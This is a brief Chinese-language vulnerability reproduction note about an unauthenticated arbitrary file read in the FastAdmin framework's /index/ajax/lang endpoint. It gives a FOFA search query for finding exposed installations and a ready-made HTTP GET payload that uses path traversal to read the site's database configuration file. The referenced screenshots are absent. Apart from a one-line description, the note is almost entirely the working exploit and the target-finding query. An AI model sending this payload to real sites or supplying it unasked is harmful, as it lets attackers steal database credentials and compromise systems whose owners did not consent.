K10-1开源-FastAdmin-任意文件读取

漏洞描述：

FastAdmin后台开发框架 /index/ajax/lang 接口存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

网站图片：

fofa语法：

body="fastadmin.net" || body="

fastadmin

" && title="fastadmin"

漏洞复现：

读取数据库配置 payload：

```
GET /index/ajax/lang?lang=../../application/database HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
```

效果图：